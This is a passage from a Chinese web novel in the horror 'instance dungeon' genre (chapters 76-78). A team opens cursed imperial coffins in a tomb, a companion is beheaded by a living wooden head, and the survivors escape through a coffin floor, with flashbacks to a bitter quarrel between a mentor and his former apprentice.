齐栩压抑着怒火,一声不吭,沿着坟地走的更快了。 “绞刑架那次的事,是我的错。”楚明铮在安静的坟地里对他道:“你想怎么跟我发脾气,我都不拦你。” “但是你不能再在外面这样游荡了,S级副本很危险,随时随地都会丧命,你还是个孩子,撑不了多久的。”楚明铮上前两步,神情复杂。 “跟我回基地,听话。” 如果说齐栩刚才还只是不耐烦的话,楚明铮现在的这番话则是彻底把他的怒火推向了高潮,他猛然从墓碑面前起身,大步走到楚明铮面前,恶声恶气道:“你凭什么觉得我不行?” “我自己在外边游荡会死,那难道我跟着你就不会死了吗?” “我一个人过副本,无论如何都只需要保全自己就行,但是我跟你在一起呢?” “我不仅要担心副本里的鬼怪,我还要无时无刻的提防着你,我担心你让我去做你妹妹的替死鬼,师父,我最后再叫你一声师父,你究竟怎么敢跟我说出这样的话?” 齐栩眼睛赤红,字字句句咬牙切齿,看着楚明铮的眼光说不上来包含着极致的失望和愤怒。 楚明铮被他这一连串质问打的措手不及,刚要张口跟齐栩解释,忽然他目光一闪,不远处古堡里的公爵此时正朝坟地这边走来。 楚明铮眼疾手快,一把捂住他的嘴,逼迫他安静下来,随即按着齐栩的头,强行带着他一起蹲下来,两人一起躲在墓碑后边,防止被公爵看到。 那穿着黑色长袍的苍白公爵晃晃悠悠的从公墓入口走来,他在最外侧的几个坟墓面前徘徊半晌,最终选定了一座刚立好不久的新坟,伸出枯瘦的爪子,将那坟墓吭哧吭哧抛开,挖出尸体,开始十分香甜的啃食起其中血液来。 整个进食过程长达十分钟。 在这十分钟里,楚明铮一直压制着齐栩的手臂,掌心捂在齐栩嘴上,任由这少年在他怀里恼怒的挣扎,也没有丝毫松动。 公爵享用完了他的夜宵,从土堆里跳出来,又晃晃悠悠的走了。 楚明铮紧绷的身形顿时松懈下来,齐栩闪电般从他怀中跳起,挣脱而出的瞬间,毫不犹豫给了楚明铮一拳。 楚明铮毫无防备,后脑勺一下砸在了冷硬的墓碑石板上,瞬间疼的眼泪都出来了。 “你干什么!”楚明铮连愤怒都忘了,一时之间只剩下震惊,齐栩居然敢跟他还手? “我说了,你别靠近我!”齐栩暴怒道。 “我刚才不拽你的话,那个公爵就发现你了!”楚明铮火气也上来了,他挣扎着从地上站起来,气的脑袋发蒙。 “谁要你管我!” “我不管你管谁?” “管你妹妹去!反正你只在意她!”齐栩踢了一脚地上的血土,将几捧尘沙踹到了楚明铮的裤腿上。 提到楚小妙那一茬,楚明铮明显底气弱了一大截,他攥了一下拳心,语气又放的尽量平和起来:“齐栩,我知道你对那个事有芥蒂,但是我……” 齐栩打断他:“但是你当年在副本里救过我一命,所以我现在还你妹妹一命,我们扯平了,我是死是活跟你没关系,你是死是活也跟你没关系——” 楚明铮眉心一跳,下意识像以前一样上手教训他:“我有没有跟你说过,副本里避谶,不要说死这个字。” 然而就在楚明铮伸手的一刹那,齐栩身体里那股被改造过的强悍力量骤然爆发,他几乎是凭借着兽性的本能,攥起楚明铮伸过来的手腕,力大无穷一把将人掀翻在地上。 楚明铮被他抵着躺在土地上,他震惊无比的看着齐栩,不明白这兔崽子什么时候力气变这么大了。 齐栩气急败坏的翻身骑坐在了楚明铮的腰胯上,这个姿势很诡异,但是确实能够完美的压制住对方,起码楚明铮现在在他身下涨红了脸,动弹不得。 “你没资格教育我。”他呼吸颤抖,居高临下摁着楚明铮,又重复了一遍:“你没资格教训我,楚明铮,我不想听你说话,我一听你说话,我就做噩梦,我就想起我掉下悬崖的那天……” 齐栩神经质的掐着他的脖子,试图用这种方式让他闭嘴。 楚明铮在他掌心里艰难的咳嗽着,但却没反抗,一来他心里有愧,觉得让齐栩发泄一下也好,二来他重伤未愈,也确实没力气反抗。 最后一点,他不相信他自己养大的孩子,真会掐死他,对他下死手。 他猜的没错,十秒钟后,齐栩果然渐渐松开了手,力道颓然一卸,末了疲倦的从他身上起来。 “我回去了,别再跟着我了,你找到什么线索也不用告诉我,我能过S级副本,我没你想象的那么v娱演弱。” 楚明铮心说我从来没觉得你弱过,只是以前出于师父的身份,从没正面夸过你而已。 经年久月的误会与偏颇,在齐栩心里越剜越深,直到沉疴难愈,情分尽断为止。 齐栩松开他的脖颈,起身就气冲冲的走了。 楚明铮一个人在坟地里躺了一晚上,直到快天亮时,才拖着疼痛的身躯一点一点挪回了古堡。 …… 回忆至此中断,齐栩坐在地上,眼睛盯着屏幕,人却在走神。 主神在空中升起一丝气流,试图揉搓他:“哎呀,不要难过,我就是突然想起来这茬,跟你提一下啦,反正你跟楚明铮现在挺好的,连孩子都有了,不是?” 齐栩哭笑不得。 成长是个很神奇的东西,当年他自己在楚明铮面前还是个孩子,转眼他居然都跟楚明铮有楚朝了。 …… 楚朝此时正气势汹汹的要过去揪陈可的领子。 “你给我过来!”楚朝怒道:“你刚才为什么撞我蜡烛!” “蜡烛要是彻底灭了,我们这一圈人都得死,你知不知道?你不许傻笑,我妈刚才差点因为你出事了,你得给我付出代价!” 楚朝撸起袖子,跟周自重一人一边,朝陈可逼近过去。 陈靖当然是拼死阻拦,一面挡在弟弟面前哀求,一面提高声音喊楚明铮:“楚先生,小可他不是故意的!他真的不是故意的,你就原谅他这一次吧,求您了。” “我们不杀他。”周自重解释道:“但是你弟弟确实是一个不可控的因素,副本里危机四伏,我们不能拿我们所有人的命陪一个智障儿童玩过家家。” “所以得劳烦你,把你弟弟绑起来,起码让他丧失行动能力,不会给我们造成麻烦。” 陈靖连忙点头:“可以,我同意,只要你们不杀他。” 于是大徐动手,三下五除二将吱哇乱叫的陈可一只手跟一只脚绑缚在了一起,形成一个怪异而滑稽的姿势。 “如果这样绑的话,可以让他既没办法捣乱,万一遇到危险,也不至于全然没有反抗能力。”大徐解释道。 陈靖在一旁担心的看着他们的举动,但是并没有阻拦。 陈可吱哇乱叫的被绑着放到了一边。 楚明铮忽然从自己脸上揩下来一点混着血水的蔻丹汁水,走过去冷不防的抹在了陈可脸上。 陈靖惊惧的看着他:“楚先生……” “一般在副本里,这种鬼怪在你身上留下相应痕迹的情况,意思都是做标记。”楚明铮蹲在地上,温声解释道。 “它这次没杀成你,那就给你做个标记,放到下次有机会了再杀。”楚明铮指了指自己的脸颊:“我已经被做标记了。” “但我是被拖累的,我的命也是命,我需要罪魁祸首跟我一起承担,所以我也给他做了标记。” 陈靖惶然抬头看了看楚明铮,又看了看弟弟,喉咙里发出一阵意味不明的呜咽。 “抱歉。”楚明铮依旧温和道。 他说完这话就不再去看陈靖的眼睛了,随即起身,带着大徐等人回棺材边上去了。 “开棺吧。”楚明铮吩咐。 “我猜里边的东西这次没力气阻挠我们,她刚才在幻境里为了追我,已经把精神力用尽了。” 大徐和周自重微微一点头,上前给楚明铮搭把手,三人合力将棺材盖向后推出,蜡烛光线一晃,倏然映出棺材中的景象来。 那是果然是一具女人的尸体。 看样子起码是好几个朝代之前的尸体。 尸体的穿戴极其雍容华贵,绯色的对襟宫装,袍袖宽大交握于身前,头戴珠玉金钗,裙裾上的花纹繁复,尽管时隔千年,衣衫上的纹理和颜色都已经褪去了过往的光彩照人,但是衣扣和领扣等细微处仍泛着细碎的微光。 楚朝定睛一看,惊喜道:“哇塞妈妈,好漂亮的玉石扣,古代人都拿金子和玉石在衣服上做装点的吗?” “看样子这墓主人身份非富即贵啊。”大徐感慨道。 “嗯。”楚明铮思索道:“不过我最好奇的是,他们是怎么保鲜的。” “这尸体保存的比宋楚秀还完好。” 楚朝一愣,随即在脑海里回忆起上个副本的场景:“确实,宋楚秀那是人肉干,这个比宋楚秀皮肤要润泽的多,妈妈,她脸上的睫毛都好明显哎。” 楚朝下意识想去摸摸这个“同类”的脸颊,被楚明铮和大徐合力拍掉了手。 “危不危险,古墓葬尸体你都敢碰。” “我才不怕,我也是尸体呀。”楚朝笑眯眯的说。 “那也不行,除非你以后半夜没事不往我床上挤了。”楚明铮嫌弃道。 此话威慑力极强,楚朝火速收手:“嗷!好的我不碰了。” 楚朝缩回手,又绕着棺材转了几圈,眼睛一瞥,瞬间就有了新的发现。 “朋友们,你们看她的脚。” 众人的目光顺着他所指的方向移过去,不由得齐齐震悚。 只见棺材中这具宫装女尸的脚上踩着一双流云花纹样式的锦色绣鞋,左右两脚的鞋底分别被一根木叉所刺穿,从脚底板直接贯穿脚背,可见用力之大,生前遭遇之惨。 “这是古代镇压横死恶鬼,防止起尸的法子。”楚明铮顶着女尸的鞋底,蹙眉道。 李子树和乔文抱成一团,在旁边瑟瑟发抖:“所以说,这个女尸……是一个被镇压的厉鬼?” “那我们把她的墓还给打开了,是不是相当于把镇压的东西释放出来了?”《 》 75-80 第76章 血池棺林(五) 就好像一个睡着的人,…… “没事,你就算不打开它,里边的东西也会自己跑出来的。”楚明铮安慰道。 李子树和乔文在一起抱的更紧了。 “老周。”楚明铮一边俯身查看棺中女子的模样,一边问道:“你能通过她的服装样式判断出,她是哪个朝代的吗?” 周自重崩溃道:“我怎么能判断得了这个?!” 楚明铮奇怪的看了他一眼:“你不是说,你被卷入副本之前,是个准备进入高校任职的历史系博士吗?” “哦,那我只是会做题,考得好而已。”周自重坦然:“你让我现场给你辨认宫装服饰的具体朝代,还是太为难我了。” “要你何用。”大徐在旁边把他一撞,怨怼道。 周自重:“……” “请你们对一个博士有一点最基本的尊重好不好!读书这么多年,还没来得及学历变现就被卷入副本……我已经很惨了,你们还这样对我!”周自重控诉道。 楚明铮在一旁笑的乐不可支。 “行啦博士,你既然出不了脑力,那就出出体力吧,去把旁边那具棺材打开,我懒得动了。” 周自重甩袖就走:“你还敢使唤博士——这也就是副本里,这要是到了外边的就业市场,楚明铮,你这种大学本科都没毕业的人,连跟我打下手都不配好吗!” 楚明铮不耐烦道:“我十几岁就进副本了,上的哪门子大学本科,现在是你给我打下手……你能不能干,不能干就到一边去,自生自灭我不管你了。” “你——”周自重愤然甩手,气势汹汹的走到一边去开另一个棺材去了。 “早听话不就好了。”楚明铮晃晃悠悠的跟过去,站在旁边看他费劲巴拉的开棺材。 另一具棺材的主人明显要比旁边这具指甲上带蔻丹的女人安分很多,棺椁的外侧和里侧的棺材盖很容易的都被打开了,周自重对于自己轻而易举就开了棺材的这件事感到很新奇。 “哦哟,轻轻松松就打开了。”周自重围着自己打开的这具棺椁啧啧称奇,同时不忘意有所指的瞟了一眼楚明铮。 目光在楚明铮瘦削而匀直的身形上打转了几个来回。 “上了年纪,缺乏锻炼啊,楚哥……” “小心我揍你啊,博士。”楚明铮抬手朝大徐一招,示意他跟过来研究这具棺材。 大徐扒着棺材盖,率先把脑袋探了下去,楚明铮将烛台高举,烛火明亮,不偏不倚刚好打在黑洞洞的棺材里,将棺材中场景照的格外清晰。 “嘶——”楚朝捂着眼睛往楚明铮身后躲了过去,他只看了一眼就完全不敢再看了,手指缝隙都捏的紧紧。 “妈妈,这个棺材好可怕,比刚才那个还瘆人。” 楚明铮的神情凝重起来,抬眼跟大徐和周自重交换了一下眼神,大徐很默契的握住了身后的枪管。 让这几个老手都如临大敌,可见这棺材里的场景的确惊悚。 棺材里躺着一具身材高大的男尸,这点倒是很好辨认,尸身的长度和衣袍都比方才那具蔻丹女尸宽大高壮了不止一倍,墨色立领,暗底云袖,濒临腐烂的布料上有金色纹路点缀,仔细去看的话,那应该绣的是一条莽。 周自重惊讶道:“皇室啊。” 楚明铮的注意力倒是没有往他衣服上放,事实上这具尸体最引人注目的地方在于他的脑袋。 他没有自己的脑袋,脖颈以上的头颅都被人齐根砍断了去,用一个木雕的假头所代替。 那假头颅雕刻的十分逼真,高挺的鼻梁,涂着红色颜料的嘴唇,最为突出的是他那一双眼睛,用作瞳孔的一小块木材稍微向里凿刻几寸,使瞳孔凹陷下去,再用一点漆黑的墨汁点洒其间,一双眼睛瞬间变得炯炯有神。 如果仅仅是把它当成一个木雕来看,这无疑是一件十分成功的艺术品,木刻雕塑出来的男子英挺而俊美,就算身处晦暗的墓室中,也不掩藏其光彩照人。 但问题是,它是一具尸体的假头颅。 它取代了原本这个人脑袋的位置,然后栩栩如生的被放置在这具雍容华贵男尸的躯干上。 它甚至还瞪着那双炯炯有神的眼睛,直视天花板,余光稍瞥,就能将棺材周边围的这群人包括进去。 仿佛它在看着他们一样。 “好渗人,真的好渗人……”楚朝躲在楚明铮身后小声念叨:“妈妈,我觉得这个木塑脑袋有点恐怖谷效应了。” 楚明铮低声道:“你居然还知道‘恐怖谷效应’这么高级的词……” “什么意思!我也是个有文化的鬼好不好!” “那你动手把他的头捞出来,反正你俩都是鬼,看看谁能克死谁。” “我不要!” 最后还是周自重出面拦截道:“算了算了,不动那个头了,看着就不是好东西,谁知道会不会造成更恐怖的下场,先放着吧,咱们先拿已有的线索分析。” 楚明铮摊了摊手,示意你说。 “首先,我觉得这两个棺材里埋着的人,应该是一对贵族夫妻。”周自重讲出他自己的分析。 这点楚明铮也认同,他配合的接茬道:“怎么讲?” “看他俩的衣服,大概是某个朝代的制式宫装,同时衣袖和裙裾上都绣有皇家样式的莽和神兽,是一种身份地位的象征。”周自重有理有据道。 大徐在一旁补充:“得,咱就不说其他的,就光看这墓葬的排场,这么大的拱形门墓穴入口,和这么大的两具棺材,再加上入口的殉葬痕迹,那都不能是普通老百姓的埋葬地儿啊。” “行,一对贵族夫妻。”楚明铮背着手,在棺材左右转悠。 “还看出什么了?”他继续问这两位。 大徐和周自重面面相觑,末了周自重用力咳嗽一声:“这……我俩当然有别的发现了,但是具体发现是什么,那也不能光让我俩说,是不是?” “你多少也总结几句。” 楚明铮似笑非笑的瞥过去,没有拆穿他。 “好,那我说说我的发现。”楚明铮背着手继续道:“这对贵族夫妻在当时,是被处死的。” 众人齐齐一震:“啊?!” 楚明铮转过身,伸手指点了一下两具棺材,示意他们去看:“不明显吗?” “那个蔻丹女尸的脖颈处有明显勒痕,虽然尸体是完整的,但是她被勒过的地方跟其他地方明显有颜色区别,别告诉我你们连这点都没发现。”楚明铮站定脚步,用一种巡视的目光打量着大徐,周自重,还有楚朝几人。 “好吧,看来你们是真没发现。”楚明铮耸了耸肩,无奈道。 “那我现在告诉你们了,再加上这具男尸被砍了头,他俩的脚底都有被木棒刺穿的痕迹,你刚才也说了,那是镇压的象征。” “所以我推测这对贵族夫妻在当时是因为政斗,或者其他一些别的原因被处死的。”楚明铮语气缓慢道:“但是具体是什么原因,这点还有待探索,我猜这间墓室里肯定有其他夹层,不可能只有这一处。” “我有个问题,楚先生。”乔文小心翼翼的举起手。 “你问。”楚明铮和颜悦色的道。 “既然他们是被处死的,那当时处死他们的人,为什么又要花这么大力气,给他俩的尸体又是保鲜千年,又是厚葬呢?”乔文认真问道。 楚明铮顺着他的目光,第一次以一个十分新奇的思路去想这个事。 “我觉得他俩的尸体其实没被保鲜。”楚明铮的下一句话依旧石破天惊。 “可是……可是这两具尸体明显距今已经上千年了,如果没采取相关措施保鲜的话,它怎么可能还是现在被我们能看清的样子?”乔文鼓足勇气反驳偶像。 楚明铮定住目光,似乎在思忖着如何跟他解释。 乔文和李子树求知若渴的看着他。 过了半晌,楚明铮宽容的笑了,开始给这俩人解释这个在他看来很愚蠢的问题。 “因为这就是副本机制。”楚明铮简单的概括道。 “副本的场景不可能给你一比一还原,如果真的按照现实生活中一千年朝上的死人状态设置场景,那尸体都化成灰了,我们还推理个毛线。” 李子树和乔文一脸恍然大悟。 “所以,不是现实世界,别那么较真。”楚明铮云淡风轻道。 “光从这个墓葬的规格上来讲,这对贵族夫妻在那个时代肯定算得上是厚葬的,我们只要知道当朝的这个态度就行,至于保不保鲜……”大徐探头在棺材里瞥了一眼:“老楚,你说这肉保鲜吗?” “你尝尝去。”楚明铮没好气的道。 “我不要!” “妈妈我来尝!”楚朝接茬:“我是鬼,我不嫌弃他!” “你又凑什么热闹。”楚明铮将他推了一把,压抑的墓室里活泛着欢快的气息。 乔文和李子树两人见状,也被带动的,从那个惊悚的状态里稍微平静下来了。 然而在众人都毫无察觉的角落,棺材里那个木雕脑袋,悄无声息的朝左侧转动了一寸。 发出“咔嚓”一响。 就好像一个睡着的人,轻轻转动了一下他的脑袋—— 作者有话说:大纲用完了,咱们先三千字过度一天[爆哭] 第77章 血池棺林(六) 好想把它变成自己的脑…… “总之这个墓葬很诡异,而且充满了矛盾的点。”大徐道:“而且现在难以推测出副本的具体要我们去做什么,还是尽早想办法出去的好。” “这破地方又没食物又没水的,副本任务总不能是让我们在墓穴里活过规定时间吧。”周自重吐槽道。 楚朝忽然想起来什么,伸手戳戳楚明铮:“妈妈,你记不记得沙漠副本里,宋楚秀他们被大风暴困在墓室里的时候,就是靠生吃西域女尸的干尸肉活下来的,这个副本不会也要我们……” 楚明铮悚然变色。 他难以置信的看了两具棺材一眼,又忍不住联想到两具古代尸体上坑坑洼洼的缩水痕迹,忍不住在儿子后背上拍了一巴掌:“……你能把思路放乐观一点么?” “我饿死也不吃那玩意儿。” 楚朝委屈:“嗷,好。” “行了,再找找其他地方吧,副本不可能把我们封死在这个五十平米不到的墓室里的,肯定还有别的暗门或者夹层。”大徐一边安慰众人,一边自己摸索着继续俯下身去,一块板砖一块板砖的细抠。 变故就发生在一瞬间。 大徐话音刚落,就听一阵阴风从头顶穿袭而来,倏然吹灭了楚明铮手中的蜡烛。 墓室里再次陷入黑暗。 “我去,又来!”楚朝惨叫一声,随即伸手去抓楚明铮:“妈妈,你在哪儿!这回可不要跟丢了!” 楚明铮很快沉声给了他回应:“我在你旁边,我没事。” 他回答完儿子,就火速拿打火机往蜡烛上怼,黑暗里什么都看不清,楚明铮难免摸索耽搁了一两秒。 就在这时,角落里的陈可再次惊叫起来。 “哥哥,我的头呢!?” 陈靖在黑暗中焦急而仓促的安慰:“说什么呢小可,你的头不就在你脖子上吗?” “不对,哥哥,那不是我的头。”陈可惊慌失措的声音依旧没有停止,一味的在嘴里念叨着。 “我的头呢,我的头呢,我的头去哪儿了……” “我找不到我的头了。” 楚明铮握紧了烛台,终于用打火机将蜡烛彻底点燃了,烛火的光亮覆盖了整个墓室,当然也照亮了墓室角落里的陈可陈靖两兄弟。 众人下意识去看他俩的情况。 然后一幅极为惊悚的画面展现在了他们眼前。 只见陈可脖颈以上的地方,被棺材里那颗木雕的男人脑袋所替代了,他自己的头颅骨碌碌的滚落在地上,洒落一地鲜血,临死前最后的惊恐神情定格在男人肥胖的脸上,将五官都几乎能挤压至变形。 而原本他自己脑袋的位置,正耸立着一颗硕大的木雕头颅。 木雕男人的头颅依旧十分英俊,目光炯炯有神,剑眉星目,瞪视着前方,染着红口脂的嘴唇微微噙了一丝笑容,看起来一副正气十足的好模样……如果忽略掉他本身立在别人脖颈断口处的这个行为的话。 “啊啊啊啊啊——”陈靖惨叫起来,扑上去大哭出声:“小可!小可——” 他扑过去的时候一把将立在弟弟脖颈断口处的木雕脑袋拍了下去,抱住弟弟失去头颅的尸体大哭出声。 英俊的木雕脑袋在空中呈抛物线状飞掠而过,最终砸在地上,半晌不动了。 楚明铮趔趄一步,被楚朝用力扶住,才勉强站稳。 怎么会这样? 他神情凝重的一步步朝陈靖走去,陈靖依旧搂着弟弟的脑袋嚎啕大哭,对外界的一切都失去了反应。 大徐和周自重将李子树他们两个新人罩在身后,彼此都心惊肉跳的对视了一眼。 虽然说陈可确实是队伍里的拖累无疑,但是没有人能真的看着一个前一秒还活蹦乱跳的人,下一秒就被鬼怪替换了脑袋惨死,还能无动于衷。 “怎么会这样?”大徐紧声道:“我们没有触犯任何条件!” 周自重几乎不动嘴唇的回答他:“事实上从我们闯入墓主人的安息之地开始,就已经算是触犯条件了,得尽快离开。” 木雕脑袋仿佛有生命一般,自己在地上骨碌骨碌的就滚到了陈可那只断掉头颅的边上。 两只死不瞑目的脑袋并排放在一起,显得分外瘆人。 陈靖哭的上气不接下气,一手抱着弟弟的尸体,一手挣扎着要去地上抓碰弟弟的脑袋,指尖越过旁边的木雕脑袋,一时悲从中来,怒上心头,抬手一拳,砸在木雕脑袋上。 瞬间将木雕脑袋揍飞出去。 动作之快,力道之狠,甚至连楚明铮都没来得及拦他。 英俊男人的木雕脑袋就再次呈抛物线状飞越出去,轰然砸上了墓室的天花板。 大徐和周自重齐齐倒抽一口凉气,心说我们理解你丧弟心痛,但是你还在人家地盘上呢,直接揍人家脑袋是不是有点过分不要命了! 楚明铮猛然蹲下来,伸手一把拦住他的手臂,冷声道:“你带上他的尸体,我们得赶快离开这里了!再不走要出事!” 陈靖在悲痛之下根本听不进去任何话,一甩手就要将楚明铮摔开。 下一秒,棺材中果然发出异动。 “嘎吱,嘎吱,嘎吱……” 涂着蔻丹指甲的女人从棺材中缓缓坐起,直立,迈出棺材,她直挺挺朝楚明铮走来,满头金银珠翠,脸色惨白如纸,面容自始至终没有一丝异样,就好像她是新死不久,刚刚下葬似的,容颜新鲜而恐怖。 与此同时,隔壁的无头男尸也缓缓坐起,他拧动着身躯,仿佛是要找头。 地上木雕脑袋的笑容,咧的更大了。 楚明铮不敢怠慢,揪起陈靖的手臂,逼他放开弟弟的尸骨:“你要是还不逃的话,你也得死!” 陈靖哭的更凶了,但还是起身,一手拖着弟弟,一手被楚明铮带着,踉踉跄跄往墓室中央跑。 大徐抄起火枪,对准越逼越近的无头男尸就是一枪,火药味冲天而起,巨大的子弹回声在封闭的墓室里弹射。 李子树和乔文不约而同的捂起耳朵,尖叫一声,险些腿一软蹲身下去。 “别愣着,快跑!”周自重顺手一提他俩后领,将他俩分别从地上齐齐拽起,向前一推:“他们只有两个人,抓不住我们七个人的!” 李子树和乔文在最初的惊恐过后,飞快的回过神来,沿着墓室边缘一路逃窜。 无头男尸挨了大徐一枪,周身猛然一个踉跄,冲击力瞬间将他向后带了几步。 他在原地打转片刻,看上去很想去收拾那个朝他开枪的人,奈何他此时没有头颅,他找不准具体方向,于是他只能先去找头。 楚明铮瞅准时机,侧身将脚边的木雕脑袋飞踹而起,直冲着蔻丹指甲女人踢过去。 无头男尸在原地晃悠几圈,摇摇摆摆的朝妻子走过去了。 趁两具古尸摇晃纠缠身形的空档,楚明铮心乱如麻。 怎么办,怎么办,怎么办…… 他们难道要在这个密室里跟这两个千年老鬼一直玩捉迷藏玩到力竭而死吗? 墓室的出口在哪儿?! 首先他们进来的那个黄铜门已经推不开了,整个墓室经过刚才那一轮摸排,基本可以确定没有可容人通过的缝隙了。 如果他是皇家墓葬的建设者,他想要确保墓室有第二个出口,但是又不能被殉葬者和后世的盗墓贼发现,他应该把出口设置在哪里? 电光火石间,楚明铮的脑海里冒出一个想法。 他立刻将手中蜡烛塞给楚朝,自己拿起地上的铲子,直奔无头男尸的棺材。 然后没有丝毫犹豫,挥铲便砸,直接将坚硬的铲尖捅到了棺材最底部。 只听“轰隆——”一声。 四下尘土飞扬,男尸棺材的底部豁然展开一个大口,棺材底板被砸碎的部分哗啦啦的尽数倾泻,统统坠落下去,一个崭新的空间从棺材底部被破开浮现出来。 楚明铮迅速转头:“快走!出路在这里!” 大徐二话不说,长臂一展,抓起李子树和乔文,将他俩隔着几米远投掷到了棺材里。 两个新人一路尖叫着被扔下去,顺着棺材底部空旷的空间顺溜下跌,很快没了声音。 楚明铮拎着铲子吩咐一声:“你俩先走,我断后。” “你都没枪,你断什么后!”大徐少见的出声对自家老大吼了一嗓子:“闪开!” 大徐说完又是一枪,直打楚明铮身侧即将移过来的蔻丹指甲女人。 楚明铮出了一身冷汗,他喘息一声,目光落在了仍然抱着陈可尸体的陈靖身上。 大徐端枪威慑着两具古尸,楚明铮和周自重对视一眼,心领神会,下一秒同时出手,周自重动手一把抢过陈可尸身,陈靖被楚明铮从身后猝不及防拖拽起来,很微弱的反抗了两下,随即被拦腰抛到了棺材内壁里。 周自重顺手把陈可一扔,回头跟楚明铮交代一声:“我先跳了啊,你俩跟上。” 楚朝撸起袖子,气势汹汹的挡在楚明铮身前:“妈妈,我来保护你,我给他俩一人一拳——” 楚明铮将他脖子一拎,往后一推,伸腿一踹,直接把鬼儿子踹进棺材里边去了:“小孩子别跟着胡闹。” 他将楚朝打发下去的瞬间,身后蔻丹女人瞬移而至,一把扣住了他的脖颈! “楚哥!”大徐惊叫一声,他端着枪,却不敢开,怕一个偏移击中了楚明铮。 楚明铮毫不犹豫,用力拧身,强迫自己跟蔻丹女人面对面而立,然后伸手骤然握住了蔻丹女人掐住他脖颈的那只手臂。 红色的指甲在他的喉骨上攥的越来越紧,楚明铮咬牙屏住一口气,虎口发力,重重一拧对方腕骨,古尸脆弱的手臂发出艰涩的咯吱声。 无头男尸拖着一身曳地的黑金色长袍,终于摸索到了自己头颅面前。 他艰难的俯下身,将那颗木雕脑袋抱起来,放在了自己脖颈的断口上。 木雕脑袋的面容极其英俊,如若平时放在博物馆里,那必然是艺术展览品的存在,然而此刻它放在这个黑袍贵族的尸体上,就活生生被衬托出一种诡异的类人感。 “他”转动着自己的头颅,保持微笑,眼珠子却钉在了大徐身上。 大徐心道不好,但是他一向是先以楚明铮的性命为重,他抬起抢对楚明铮喝道:“楚哥,就保持现在这个角度,千万别动!” 楚明铮神色一凛,果然站定不动了,任凭蔻丹女尸怎么用力掐他,他都纹丝不动。 下一刻,火枪扳机扣下,子弹如离弦之箭飞射而来,倏然打碎了蔻丹女人攥住楚明铮的那只手臂! 就在楚明铮脱身的刹那,男尸晃动着他英俊的木雕脑袋,扑到了大徐身上。 “我去!哥们!男男授受不亲!”大徐跟被火烧着了一样,抬枪就要去撞他。 那双用木材雕刻的黑色眼睛,正一寸一寸的逼近他,分明是用死物刻画而成的,眼里却仿佛神采飞扬,闪动着说不清道不明的恶意。 大徐忽然感觉自己的头颅变得很沉重。 意识模糊间,他仿佛觉得自己的头颅不是自己的,对面越来越近的木雕脑袋,才是自己真正的头颅。 “你拿我的脑袋干什么……”大徐模模糊糊的说。 木雕脑袋笑而不语,那张用木刻做而成的面容愈发俊朗,像个古代年画里的美髯公,嘴唇又厚又红,眼睛明亮而漂亮,笑容绽放,散发出正气十足的魅力…… 大徐的脖颈一阵刺痛,脑海意识也越发不清晰,浑浑噩噩的,仿佛天地间只有眼前这个魅力十足的木雕脑袋了。 好喜欢这个脑袋…… 脑袋上的这张脸好他妈帅气…… 好想把它变成自己的脑袋…… 它不就是我自己的脑袋吗…… 一柄泛着雪光的铲子凌空飞来!铲尖刺进木雕脑袋跟无头男尸的脖颈咬合部位,以一个勾嵌的斜杀姿势刺入其间,铲柄尽头是楚明铮冷光一现的眉眼。 下一秒,楚明铮翻腕横挑,一铲子将木雕脑袋从无头男尸的躯干上砍断拍飞出去! 大徐整个人仿佛从水里被捞起来了一样,如梦初醒,后背已经被冷汗浸透了。 他怔怔的盯着眼前的楚明铮,还有地上骨碌滚过的木雕头颅,完全不敢细想刚才发生了什么。 他刚才就差一点,就在幻境中跟无头男尸自愿交换了脑袋,然后他的下场就会跟陈可一样凄惨。 “楚哥。”他难言的看着楚明铮,满腔热潮不知道该如何表达。 楚明铮拍了一下他的袖子,简短道:“都是互相的。” “现在不是煽情的好时候,赶紧走。” 大徐立刻应声,背好火枪。 楚明铮将木雕脑袋斩首后仿佛用尽了全身的力气,大口大口喘息着在原地缓和了一下子,随即不敢耽搁,抓起大徐连跳几步,借势从两个棺材之间的空档一跃而过,随即跳进了无头男尸的棺材里。 那是生路所在的地方—— 作者有话说:下一章就开始粗长模式了!我发誓!我大纲理完了! 第78章 血池棺林(七) 仿佛舌头真的被人割掉…… “啪,啪,啪……” 空气中响起一阵虚无的拍掌声,齐栩平静的抬头看去,开口问道:“你都没有实体,你是怎么发出这种类似鼓掌的声音的?” “我想有的时候,偶尔也可以有。”主神柔和的说。 “真不愧是楚明铮。”主神由衷的赞叹道:“我早该知道的,能教出你这样徒弟的师父,就算重生初愈,也不该是弱者。 ” “他破局的速度快的惊人,而且身边有几个跟他打配合的好朋友,他们跟楚明铮在一起,看起来比楚明铮跟你在一起默契呢。” 齐栩不悦的向上瞟了一眼。 “别瞪我呀。”主神嬉笑着道:“我说的是实话,他们的速度离你当年,只差一点点。” “我当年只有一个人单打独斗。”齐栩淡淡的说:“跟我同一批的过关者素质可没这么高,我至今记得那群菜鸟在墓室里吱哇乱叫给我添乱的样子。” “行吧行吧,那你确实更厉害……” 主神话锋一转:“你觉得他能在副本里找到你我的秘密吗?” “不能。”齐栩想也不想的回答。 “为什么?” “因为我比楚明铮心软。”齐栩简短的回答道。 主神凝神不语,似乎在思考心软跟过副本结果之间的关系。 过了半晌,他似乎想明白了其中因果,倏然在空中笑了出来:“原来如此。” “血池棺林这个副本是所有副本中最为独特的那个,这个副本的玩家一向要么全员生还,要么全员死绝,说实话古往今来只有寥寥几人找到了血池棺林的玄机,并且心甘情愿为了通关而做出巨大牺牲,然后才得以存活下来。” “就看这个团队里,有没有人愿意做那个粉身碎骨的牺牲者吧。”主神云淡风轻道:“我觉得楚明铮不像是粉碎自己,跟神明共情的那类人。” 这话对于齐栩来说,无疑是在提前预判楚明铮的死刑。 他急的霍然起身:“您说过会给我十分钟进副本帮他的时间的!” 主神很无奈的在上空注视着他,最后宽容道:“是,我答应你了。” “所以别激动,坐下来安静点看投影。” …… 楚明铮的身形随着重力作用而极速下坠,最后轰然倒塌在一处软趴趴的物体上。 “呃啊……” 身下传来周自重痛苦的哀嚎:“姓楚的,你砸死我了……” 楚明铮跟大徐前后脚落地,大徐顺着坡道滚了几米远,身躯砸在坚硬的地上,艰涩的呻吟出声。 楚明铮运气比较好,直接摔到了周自重身上,哪儿都没伤着,当即活蹦乱跳的从老周身上跳下来,转身去搀扶他:“哎呦,不好意思,你腰没事吧?” 周自重幽怨的踉跄起身,虚弱的扶着老腰,被楚明铮搀扶着往通道的更深层走。 “楚哥!楚哥太好了,你没事!”李子树从不远处休息的地方跑过来,满脸松了口气的神情。 楚明铮示意他过来搭把手,扶一下周自重。 “乔文和陈靖呢?” 